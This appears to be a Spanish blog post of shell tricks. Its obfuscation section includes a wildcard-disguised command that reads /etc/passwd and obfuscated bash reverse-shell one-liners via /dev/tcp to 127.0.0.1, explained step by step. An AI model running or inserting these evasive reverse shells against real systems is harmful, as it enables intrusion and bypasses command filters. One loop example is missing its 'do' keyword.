Como listar un directorio sin ls
Este es un truco bastante güay que nos permite listar el contenido de
un directorio sin usar ls.
$ for i in *; echo $i; done
Alternativamente podemos usar echo para listar los
ficheros en un determinado directorio:
$ echo /tmp/*
Encriptar ficheros tar con openssl
Alguna vez has tenido que enviar una serie de ficheros protegidos con contraseña. Algunas aplicaciones de compresión te permiten cifrar los datos, pero en caso de que no tengas ninguna a mano, este es un truco para enviar tus datos cifrados
$ tar czf - * | openssl enc -e -aes256 -out secured.tar.gz $ openssl enc -d -aes256 -in secured.tar.gz | tar xz -C DIR
Ofuscando IPs
Como todos sabemos una dirección IP es un grupo de 4 valores separados por un punto. Cada uno de las partes de una IP puede tomar valores entre 0 y 255, o en otras palabras, se puede almacenar en un solo byte, y por lo tanto, la dirección completa se puede almacenar en un entero de 32-bits.
Pues bien, muchos programas que aceptan direcciones IP nos permiten
especificarla como un valor entero. Los siguientes comandos conectan a
localhost en el puerto 9999
$ curl 2130706433:9999 $ nc $((0x7f000001)) 9999
Efectivamente:
$ printf %x 2130706433 $ echo $((0x7f000001)) 2130706433 $ printf "%x %x %x %x\n" 127 0 0 1 7f 0 0 1
Mola no?
Ejecutando comandos incompletos
Sabías que la shell no solo usa los wildcards o caracter comodín para
expandir parámetros, sino que lo aplica a todos los elementos de la
línea de comandos?. Por ejemplo, el siguiente comando muestra el fichero
/etc/passwd.
$ /???/?at /e??/pa????
Otro ejemplo más interesante, usando nuestro querido Netkitty
(suponiendo que esté instalado en /usr/local/bin
$ /???/l*/???/?k -c T,2130706433,1337
Un par de ejemplos más usando nc.openbsd instalado en
/bin.
$ /???/n?.*s? 2130706433 $((023417)) $ /???/??.o* 2130706433 $((0x270f)) $ /???/??.?p* 0177000000001 $((6#114143))
Esta línea inicia una conexión al puerto 9999 en localhost. Y esta
inicia un reverse shell a 127.0.0.1:9999
/???/b??h -i >& `echo /d*/``echo top | sed s/o/c/`/2130706433/$((6#114143)) 0>&1 /*/b?s? -i >& `echo /d*/``echo top | sed s/o/c/`/2130706433/9999 0>&1
Veamos elemento a elemento que es lo que estamos ejecutando:
/*/b?s? -i >&esta parte se expandirá a/bin/bash -i >&que inicia una shell en modo interactivo y redirecciona la entrada y salida estándar a lo que sigue`echo /d*/``echo top | sed s/o/c/`este comando se expande a/dev/tcpque es un pseudo fichero con el que podemos establecer conexiones TCP desde bash/2130706433/esta es la dirección IP en formato decimal. Ya has visto como generarla en el truco anterior. En este caso corresponde con127.0.0.1$((6#114143))este es el puerto 9999 en base 60>&1y esta redirección final indica que la entrada estándar también se redirige al descriptor de ficheros 1 que ahora es el socket TCP a la dirección indicada.
:)
Generar palabras aleatorias
La utilidad look genera una lista de palabras que
empiezan por los caracteres que le pasamos como parámetro. En realidad
lo que hace es una búsqueda en el diccionario del sistema buscando
palabras que comiencen con las letras que le indicamos. Podemos usar
esta utilidad para generar una palabra aleatorio con un comando como
este:
$ look . | shuf | head -1
Si cambiamos el -1 de head podemos obtener
más palabras :)
■
